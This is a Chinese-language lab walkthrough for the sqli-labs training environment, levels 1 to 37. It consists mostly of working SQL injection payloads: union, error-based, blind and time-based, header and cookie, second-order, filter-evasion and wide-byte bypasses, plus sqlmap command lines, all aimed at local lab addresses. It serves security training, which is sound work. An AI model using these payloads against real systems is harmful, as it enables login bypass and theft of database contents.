sql-labs 1-37通关教程

第一关:单引号字符串型回显注入
http://192.168.13.155/sqli/Less-1/?id=1' and 1=1--+
http://192.168.13.155/sqli/Less-1/?id=1' and 1=2--+
http://192.168.13.155/sqli/Less-1/?id=1' order by 3 --+              #得到列数为3
http://192.168.13.155/sqli/Less-1/?id=1' and 1=2 union select 1,2,3--+    #页面回显

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+    #得到数据库名security

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'--+    #得到表名users

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'--+    #得到列名username,password

 

http://192.168.31.138/sqli-labs/Less-1/?id=1' and 1=2 union select 1,username,password from users where id=3--+    #爆破得到数据库

 
第二关:数字型回显注入
http://192.168.13.155/sqli/Less-2/?id=1 and 1=1
http://192.168.13.155/sqli/Less-2/?id=1 and 1=2
http://192.168.13.155/sqli/Less-2/?id=1 order by 3
http://192.168.13.155/sqli/Less-2/?id=1 and 1=2 union select 1,2,3

第三关:单引号字符型变形回西显注入(变量引入后,程序引用时增加了括号,输入单引号看报错信息,near ' '1'') LIMIT 0,1' ,看出变量被加了单引号'和括号)。)
http://192.168.13.155/sqli/Less-3/?id=1') and 1=1--+
http://192.168.13.155/sqli/Less-3/?id=1') and 1=2 --+
http://192.168.13.155/sqli/Less-3/?id=1') order by 3 --+
http://192.168.13.155/sqli/Less-3/?id=1') and 1=2 union select 1,2,3--+

第四关:双引号字符型变形回显注入(变量引入后,程序引用时增加了括号,尝试注入语句看报错信息--输入双引号,看报错信息,后面near '"1"") LIMIT 0,1'  看出变量被加了双引号"和括号)。)
http://192.168.13.155/sqli/Less-4/?id=1") and 1=1 --+
http://192.168.13.155/sqli/Less-4/?id=1") and 1=2 --+
http://192.168.13.155/sqli/Less-4/?id=1") order by 3--+
http://192.168.13.155/sqli/Less-4/?id=1") and 1=2 union select 1,2,3 --+

第五关:单引号字符型布尔逻辑型盲注
http://192.168.13.155/sqli/Less-5/?id=1' and 1=1 --+
http://192.168.13.155/sqli/Less-5/?id=1' and 1=2 --+
http://192.168.13.155/sqli/Less-5/?id=1' union select 1,2,3  --+  无回显,需要利用盲注方法(SQLmap跑)

第六关:双引号字符型布尔逻辑型盲注
输入双引号,页面报错,如near '"1"" LIMIT 0,1',可以判断变量引入后后台给变量增加了""双引号。
http://192.168.13.155/sqli/Less-6/?id=1 " and 1=1--+
http://192.168.13.155/sqli/Less-6/?id=1 " and 1=2--+
http://192.168.13.155/sqli/Less-6/?id=1 " union select 1,2,3  --+   无回显,需要利用盲注方法(SQLmap跑)

第七关:单引号字符型注入,但是注释符号被过滤,无法生效。只能通过闭合单引号实现注入。输入任何注释字符不生效,数据库出错统一报错信息提示。
http://192.168.13.155/sqli/Less-7/?id=1' and '1'='1
http://192.168.13.155/sqli/Less-7/?id=1' and '1'='2
通过http://192.168.13.155/sqli/Less-7/?id=1' and 2%3E1 and '1'='1 构造一个逻辑表达式并且闭合原有单引号。
http://192.168.13.155/sqli/Less-7/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>1 and '1'='1

第八关:单引号字符型,布尔逻辑盲注。
http://192.168.13.155/sqli/Less-8/?id=1%27and%201=1%20--+
http://192.168.13.155/sqli/Less-8/?id=1%27and%201=2%20--+
http://192.168.13.155/sqli/Less-8/?id=1%27%20and%201=2%20union%20select%201,2,3--+  无回显

第九关:单引号字符型,time-based盲注
可以通过构造逻辑或者通过if函数实现注入。
http://192.168.13.155/sqli/Less-9/?id=1%27and%201=1%20and%20sleep(3)%20--+
http://192.168.13.155/sqli/Less-9/?id=1%27and%201=2%20and%20sleep(3)%20--+
http://192.168.13.155/sqli/Less-9/?id=1%27and%20if(2%3E3,sleep(3),1)%20--+

第十关:双引号字符型,time-based盲注
http://192.168.13.155/sqli/Less-10/?id=1%22%20and%201=1%20and%20sleep(3)%20--+
http://192.168.13.155/sqli/Less-10/?id=1%22%20and%201=2%20and%20sleep(3)%20--+

第十一关:单引号字符型,POST注入。
1、在登录框输入用户名或密码'or''=',可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-11/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十二关:双引号字符型,post注入
1、在登录框输入用户名或密码"or"1"="1,可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-12/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十三关:单引号字符型变形,POST注入(在用户名处输入'后,报错near 'admin') LIMIT 0,1' at line 1)可以观察出引用变量时增加了'和)。
1、在登录框输入用户名或密码 admin') or (''='  ,可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-13/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十四关:双引号字符型,POST注入

1、在登录框输入用户名或密码 admin" or ""=" ,可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-14/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十五关:单引号字符型,POST盲注。与之前相比,此处屏蔽了错误回显。
本关支持 时间盲注,支持布尔逻辑盲注。
1、在登录框输入用户名或密码 admin'or''=',可以绕过验证。
2、admin' and 1=1 and sleep(3) --   基于时间盲注可以
3、admin' and 1=1 --         基于布尔逻辑盲注
4、通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-15/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

第十六关:双引号字符型,POST盲注。
1、支持基于时间的盲注,在用户名输入admin") AND SLEEP(5) AND ("gBIl"="gBIl
密码输入admin。可以看到延迟执行。
2、支持布尔逻辑的盲注,在用户名输入admin") and 1>2 -- 密码出输入admin,当表达式成立时,提示登录成功,表达式不成立,登录失败。
3、通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。这里需要设置--level 3
python sqlmap.py -u "http://192.168.13.155/sqli/Less-16/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --level 3

第十七关:更新数据库,字符型报错注入。
1、用户名输入admin,密码输入123’,报错near 'admin'' at line 1,判断此处存在注入,为字符型。
2、尝试报错注入。用户名输入admin,密码输入 123' and (select 1 from (select count(*),floor(rand(0)*2)x from information_schema.schemata group by x)a); --
页面返回报错信息。Duplicate entry '1' for key 'group_key'
3、注入payload:利用floor函数报错
爆数据库
123' and (select 1 from (select count(*),concat(user(),database(),floor(rand(0)*2))x from information_schema.schemata group by x)a); --
爆表名
123' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a); --
爆字段
123' and (select 1 from (select count(*),concat((select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a); --
爆内容
123' and (select 1 from (select count(*),concat((select concat(user,password) from dvwa.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a); --

其他可利用报错函数
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1));
用注入payload例如 (select concat(user,password) from dvwa.users limit 0,1) 代替user()函数即可。

第十八关:字符型http头User-Agent注入
本处能够看到页面回显用户的ip和user-agent信息,通过burp把登录过程抓包,并在user-agent后面增加'(User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'),页面报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '192.168.13.1', 'admin')' at line 1
由此判断此处存在user-agent信息被写入到数据库,因此构造基于报错的注入。
利用extractvalue()和updatexml()函数可以实现注入。
爆库
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
爆表
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
爆列
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
爆内容
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='

利用sqlmap在-level 3级别,会尝试http头注入
利用sqlmap可以利用--user-agent参数尝试注入。
建议在burp中将http请求 copy to file,保存文件例如req.txt(抓包需要输入正确的用户名和密码)
python sqlmap.py -r d:\req.txt  --user-agent  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0  --level 3

第十九关:字符型http头referer注入
在本关输入正确用户民和密码,可以看到页面显示referer信息。
通过burp把登录过程抓包,并在referer后面增加'(Referer: http://192.168.13.155/sqli/Less-19/'),页面报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '192.168.13.1')' at line 1
由此判断此处存在referer信息被写入到数据库,因此构造基于报错的注入。
爆库
Referer: http://192.168.13.155/sqli/Less-19/' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
爆表
Referer: http://192.168.13.155/sqli/Less-19/'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
爆列
Referer: http://192.168.13.155/sqli/Less-19/'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
爆内容
Referer: http://192.168.13.155/sqli/Less-19/'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='

利用sqlmap在-level 3级别,会尝试http头注入
利用sqlmap可以利用--referer参数尝试注入。
建议在burp中将http请求 copy to file,保存文件例如req.txt(抓包需要输入正确的用户名和密码)
python sqlmap.py -r d:\refer.txt  --referer  "http://192.168.13.155/sqli/Less-19/"  --level 3

第二十关:字符型http头cookie注入
在本关输入正确用户名和密码,在后续会话中可以看到cookie信息 uname=admin。
通过burp把后续请求导入到repeater模块,修改cooke 为 admin',页面报错:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' LIMIT 0,1' at line
由此判断此处存在cookie注入,构造报错注入
爆库
cookie: admin' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
爆表
cookie: admin'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
爆列
cookie: admin'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
爆内容
cookie: admin'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='

利用sqlmap在-level 3级别,会尝试http头注入
利用sqlmap可以利用--cookie参数尝试注入。
建议在burp中将http请求 copy to file,保存文件例如cookie.txt(抓包需要输入正确的用户名和密码)
python sqlmap.py -r d:\cookie.txt  --cookie  "uname=admin; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6"  --level 3


第二十一关:基于cookie的base64编码注入(单引号)
输入正确的用户名和密码,可以从页面返回看出cookie被base64编码,因此尝试cookie注入时,需要将注入参数编码为base64,这里需要借助-tamper参数调用base64encode.py实现。
python sqlmap.py -r d:\21  --cookie "uname=YWRtaW4%3D; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3 --tamper base64encode.py --batch

第二十二关:基于cookie的base64编码注入(双引号)
输入正确的用户名和密码,可以从页面返回看出cookie被base64编码,因此尝试cookie注入时,需要将注入参数编码为base64,这里需要借助-tamper参数调用base64encode.py实现。
python sqlmap.py -r d:\22  --cookie "uname=YWRtaW4%3D; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3 --tamper base64encode.py --batch


第二十三关:单引号字符型盲注,过滤了注释符号。
注释符号被过滤,因次在注入式需要构造闭合单引号的语句。
http://192.168.13.155/sqli/Less-23/?id=3' and 2>1 and '1'='1
http://192.168.13.155/sqli/Less-23/?id=3' and 2>1 and '1'='2
注入可以用以下语句代替2>1的表达式。
1获得数据库名
And Length(database())>n  //判断当前数据库长度
And Ascii(Substr(database(),m,1))>n //截取数据库名第m个字符并转换为ascii码
2、判断数据库的表长度与表名
And Length((Select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n  //判断第一行表名的长度
And Ascii(substr((Select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串并转换为ascii码。
3、判断数据库的字段名长度与字段名称
And Length((Select column_name from information_schema.columns where table_name='users' limit 0,1))>n  //判断表中字段名的长度
And Ascii(substr((Select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串并转换为ascii码
4、判断字段的内容长度与内容字符串
And length((select user from users limit 0,1))>1  //判断字符串内容长度
And Ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串并转换为ascii码

第二十四关:二阶注入
二阶注入原理:
1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
二次注入原理案列详解:
假如有一个网站管理员的用户名为:root    密码为:123456789 ,攻击者注册了一个账号 : root'--    密码为:123
因为账号当中有特殊字符,网站对于特殊字符进行了转义,一次注入在这就行不通了。虽然账号被转义了,但是他在数据库当中
任然是以  root'--   的方式被储存的。
 现在攻击者开始实施正真的攻击了,他开始对账号修改密码。普通网站修改密码的过程为:先判断用户是否存在------》确
认用户以前的密码是否正确--------》获取要修改的密码---------》修改密码成功。 在数据库中 -- 表示注释的意思,后面的语句
不会执行,而root后面的那个单引号又与前面的 '  闭合,而原本后面的那个单引号因为是在 --  之后,所以就被注释掉了,所以
他修改的其实是   root  的密码
本关测试:
1、新注册一个用户,用户名为admin'or''=' 密码为123.
2、用该用户登录admin'ro''='登录成功后,修改密码
3、输入当前密码123,然后输入新密码123456
4、点击reset,密码修改成功,此时发现admin账户的密码被修改。
这里注入参数是攻击者在注册的时候讲注入参数admin'or''='写到数据库的。调用的时候包含了构造的闭合单引号的参数。不借助这种方法,发现在表单输入的带有注入符号的都被程序转义了。

第二十五关:单引号字符型注入,但是后台过滤了所有的and和or注入词。
当输入
http://192.168.13.155/sqli/Less-25/?id=1'and 1=1 --+
http://192.168.13.155/sqli/Less-25/?id=1' or1=1 --+
发现页面返回值and和or被过滤了,导致无法正常执行注入语句。
这里的可以注入时,用到and或or是需要进行变换,例如and用anandd(双写)替代(或者&&),or用oorr代替(或者||)。被过滤后变成了and和or。

第二十五A关:与二十五关类似,数值型注入,and和or被过滤,过滤方法与25关一样、

第二十六关:这里空格和and、or均被过滤了。and和or可以参考二十五关,空格过滤比较严 ,常见的--,#,//,/**/都被过滤,包括常见的
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
测试只有%a0可以生效。
http://192.168.13.155/sqli/Less-26/?id=1%27oorrder%a0by%a01%a0anandd%a0%271%27=%271
暴库
?id=1111%27%a0union%a0select%a01,database(),3%a0||%271%27=%271
爆表名
?id=1000%27%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=%27security%27%26%26%271%27=%271
爆字段
?id=1000%27%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=%27security%27%26%26%271%27=%271
爆内容
?id=1000%27%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0id=1%26%26%271%27=%271

本关可以在sqlmap中跑,需要借助--tamper参数,并且自定义脚本。变换and、or和space。
python sqlmap.py -u "http://192.168.13.155/sqli/Less-26/?id=1" -v 3 --tamper "symboliclogical1.py,space2a0.py" -D security --tables

第二十六a关:本关为盲注,单引号字符串并应用了)。用法与26一致,需要变换and和空格。
报错无法回显,但是可以用联合查询注入
http://192.168.13.155/sqli/Less-26a/?id=1%27)%a0%26%26(%27%27=%27
暴库
?id=1111%27)%a0union%a0select%a01,database(),3%a0||(%271%27)=(%271
爆表名
?id=1000%27)%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=%27security%27%26%26(%271%27)=(%271
爆字段
?id=1000%27)%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=%27security%27%26%26(%271%27)=(%271
爆内容
?id=1000%27)%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0id=1%26%26(%271%27)=(%271
用sqlmap跑:
python sqlmap.py -u "http://192.168.13.155/sqli/Less-26a/?id=1" -v 3 --tamper "symboliclogical.py,space2a0.py"

第二十七关:过滤了了union,双重过滤了select,过滤了空格。可以用如下方式绕过
ununionion  seseleselectctlec  %0A
?id=1000'%0A ununionion%0A seseleselectctlect%20%0A1,2,3%0A and%0A '1'='1
暴库
?id=1000%27%0aununionion%a0seseleselectctlect%a01,database(),3%a0and%0A%20%271%27=%271
爆表
?id=1000%27%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3%a0and%0A%20%271%27=%271
爆字段
?id=1000%27%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3%a0and%0A%20%271%27=%271
爆内容
?id=1000%27%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(password,username)%a0from%a0security.users),3%a0and%0A%20%271%27=%271

第二十七a关:双引号、字符型、过滤注释、union select 盲注,可以用如下方式绕过
ununionion  seseleselectctlec  %0A
?id=1"and "1"="1
?id=1"and "1"="2
?id=1000" ununionion%0Aseleseselectlectct%20%0A1,2,3%0A and "1"="1
爆库
?id=1000"%0aununionion%a0seseleselectctlect%a01,database(),3%a0and "1"="1
爆表
?id=1000"%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3%a0and "1"="1
爆字段
?id=1000"%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3%a0and "1"="1
爆内容
?id=1000"%0aununionion%a0seseleselectctlect%a01,(selseleselectctect%a0group_concat(password,username)%a0from%a0security.users),3%a0and "1"="1

第二十八关:单引号、括号、注释符号、空格 union&select 被过滤
替代方法:%0a 替代空格,union%0Aunion%0A select select 双写替代union select
?id=1')and ('1'='1
?id=1')and ('1'='2
?id=1000')%0A union%0Aunion%0A select select%20%0A1,2,3%0A and%0A ('1'='1
爆库
?id=1000')%0A union%0Aunion%0A select select%20%0A1,database(),3%0A and%0A ('1'='1
爆表
?id=1000')%0A union%0Aunion%0A select select%20%0A1,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3%0A and%0A ('1'='1
爆字段
?id=1000')%0A union%0Aunion%0A select select%20%0A1,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3%0A and%0A ('1'='1
爆内容
?id=1000')%0A union%0Aunion%0A select select%20%0A1,(select%a0group_concat(password,username)%a0from%a0security.users),3%0A and%0A ('1'='1

第二十八a关:与二十八payload无区别。
?id=1') and ('1'='1
?id=1') and ('1'='2


第二十九关:login.php不是index.php。
这里是php的一个hpp漏洞,当同时传递多个参数时,不同服务器可能会取得不同的参数值。
例如http://192.168.13.155/sqli/Less-29/login.php?id=1&id=2&id=3同时传递3个参数
$_get(id) Apache处理时获得最后一个ID,也就是Id=3
$_SERVER['QUERY_STRING'],则获取的是第一个参数,即id=1
如何利用?
waf会对查询参数进行检查,但是如果是直接从字符串后去变量,则可能是获得的第一个变量及id=1,但是实际后台程序在$_get(id) 时,获得的是后一个参数,那么可以在后一个参数添加注入语句,从而绕过waf检查。
参考文章:
https://blog.csdn.net/eatmilkboy/article/details/6761407    
Web应用里的HTTP参数污染(HPP)漏洞
本关卡实现:
暴库
?id=1&id=2' and 1=2 union select 1,database(),3 --+
爆表
?id=1&id=2' and 1=2 union select 1,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27),3 --+
爆字段
?id=1&id=2' and 1=2 union select 1,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_schema=%27security%27),3 --+
爆内容
?id=1&id=2' and 1=2 union select 1,(select%a0group_concat(password,username)%a0from%a0security.users),3 --+

sqlmap
python sqlmap.py -u "http://192.168.13.155/sqli/Less-29/login.php?id=1" -v 3

python sqlmap.py -u "http://192.168.13.155/sqli/Less-30/login.php?id=1" -v 3 --dbs --batch
第三十关:与29关原理一致,双引号,基于时间的盲注
login.php?id=1&id=2"and if(2>1,sleep(10),1) --+
第三十一关:与30关原理一致,双引号,单括号,构造基于时间延迟盲注
192.168.13.155/sqli/Less-31/login.php?id=1&id=3") and 1<2 and sleep(5) and ("1"="1
由于报错回显,也可以用floor等函数
http://192.168.13.155/sqli/Less-31/login.php?id=1&id=3%22)%20and%20(updatexml(1,concat(0x7e,(select%20(select%20concat(user,password)%20from%20dvwa.users%20limit%200,1)),0x7e),1))%20--+

第三十二关:所有的'单引号,都被转义。因此需要构造绕过转义
    源码:自定义了检测注入字符串,进行转义。
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);     //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
 $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash

'单引号替换为构造宽字节 %df'
?id=0%df' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

http://192.168.13.155/sqli/Less-32/?id=0%df' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

第三十三关:所有的'单引号,都被转义。
利用addslashes($str),对注入字符串进行特殊字符转义,涉及
    单引号(')---\'
    双引号(")---\"
    反斜杠(\)---\\
    NULL
绕过方法:吃掉转义字符或转义\
方法一:
mysql 在使用GBK 编码的时候,会认为两个字符是一个汉字(前一个ascii 码要大于128,gbk的汉字的范围)。
输入%df%27时,%27时’会被转移为\’,而\的编码为%5c,最后就变成了%df %5c%27,由于%df(这里16进制)>128(ascii码值),mysql就认为前两个编码是一个汉字,運,最后结果就编程了運’,成功吃掉了转义的反斜杠\
实际上,只要编码值大于128,均可以实现吃掉\。例如%81,%82,%83等等。
payload:
/?id=1%dF%27 and 1=1 --+
方法二:利用汉字‘錦’
錦 的UTF-8编码为: %E9%8C%A6
錦 的GBK编码为: %e5%5c
实用:直接输入%E9%8C%A6%27或%e5%5c%27
原理:%e5\’(即%e5%5c%27)?%e5%5c%5c%5c%27?錦\\’,这样反斜杠就被转义了。
payload:
/?id=1%e5%5cand 1=1 --+

http://192.168.13.155/sqli/Less-33/?id=0%df'union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://192.168.13.155/sqli/Less-33/?id=0%bf'union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://192.168.13.155/sqli/Less-33/?id=0%bf'union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

第三十四关:基于post的注入,单引号被转义。
宽字节可用
直接用sqlmap 跑,加前缀 %df%27
>python sqlmap.py -u "http://192.168.13.155/sqli/Less-34/"  --data "uname=admin&passwd=admin&submit=Submit" -v 3  --prefix "%df%27"

第三十五关:基于整形的注入,虽然转义了',但是数值型注入不需要单引号,直接注入即可

http://192.168.13.155/sqli/Less-35/?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3


第三十六关:get型 mysql_real_escape误用
宽字节构造'
python sqlmap.py -u "http://192.168.13.155/sqli/Less-36/?id=2" -v 3 --tamper unmagicquotes.py

第三十七关:post型
python sqlmap.py -u "http://192.168.13.155/sqli/Less-37/"  --data "uname=admin&passwd=admin&submit=Submit" -v 3 --tamper unmagicquotes.py --dbs

posted @ 2020-03-06 13:41  小炮无邪  阅读(1471)  评论(0编辑  收藏  举报